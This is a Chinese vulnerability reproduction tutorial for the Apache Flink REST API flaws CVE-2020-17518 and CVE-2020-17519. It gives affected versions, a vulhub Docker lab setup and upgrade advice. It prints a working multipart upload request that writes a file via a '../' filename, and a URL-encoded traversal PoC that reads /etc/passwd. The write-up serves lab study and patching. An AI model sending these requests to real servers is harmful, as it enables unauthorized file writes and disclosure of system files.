Apache Flink 是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。
0x02 漏洞概述
编号:CVE-2020-17518&17519
Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞。
CVE-2020-17519:攻击者可通过REST API使用../跳目录实现系统任意文件读取;CVE-2020-17518:通过构造恶意的http header,可实现远程文件写入。
0x03 影响版本
1、CVE-2020-17518:
Apache Flink 1.5.1 ~ 1.11.2
2、CVE-2020-17519
Apache Flink 1.11.0、1.11.1、1.11.2
0x04 环境搭建
CVE-2020-17518
使用vulhub进行安装,vulhub地址:
代码语言:javascript复制https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
进入目录
代码语言:javascript复制cd vulhub-master/flink/CVE-2020-17518
安装环境
代码语言:javascript复制sudo docker-compose up -d
接着访问http://your-ip:8081
CVE-2020-17519
Vulhub地址:
代码语言:javascript复制https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519
进入目录
代码语言:javascript复制cd vulhub-master/flink/CVE-2020-17519
安装环境
代码语言:javascript复制sudo docker-compose up -d
接着访问:http://your-ip:8081
0x05 漏洞复现
CVE-2020-17518
1、构建数据包进行发送
代码语言:javascript复制POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (X11; Linux x86_64;rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data;name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
2、 此时进入容器,查看success文件是否创建成功
代码语言:javascript复制cd vulhub-master/flink/CVE-2020-17518
docker ps
docker exec -it CONTAINER ID bash
ls /tmp
如上图所示,镜像里面有了success文件,执行成功
CVE-2020-17519
POC:
代码语言:javascript复制http://ip:8081/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
0x06 修复方式
临时修复建议:
若业务环境允许,使用白名单限制相关web项目的访问来降低风险。
官方已发布安全版本,请及时下载升级至安全版本。
下载链接:
https://flink.apache.org/zh/downloads.html
代码语言:javascript复制参考链接:
https://github.com/vulhub/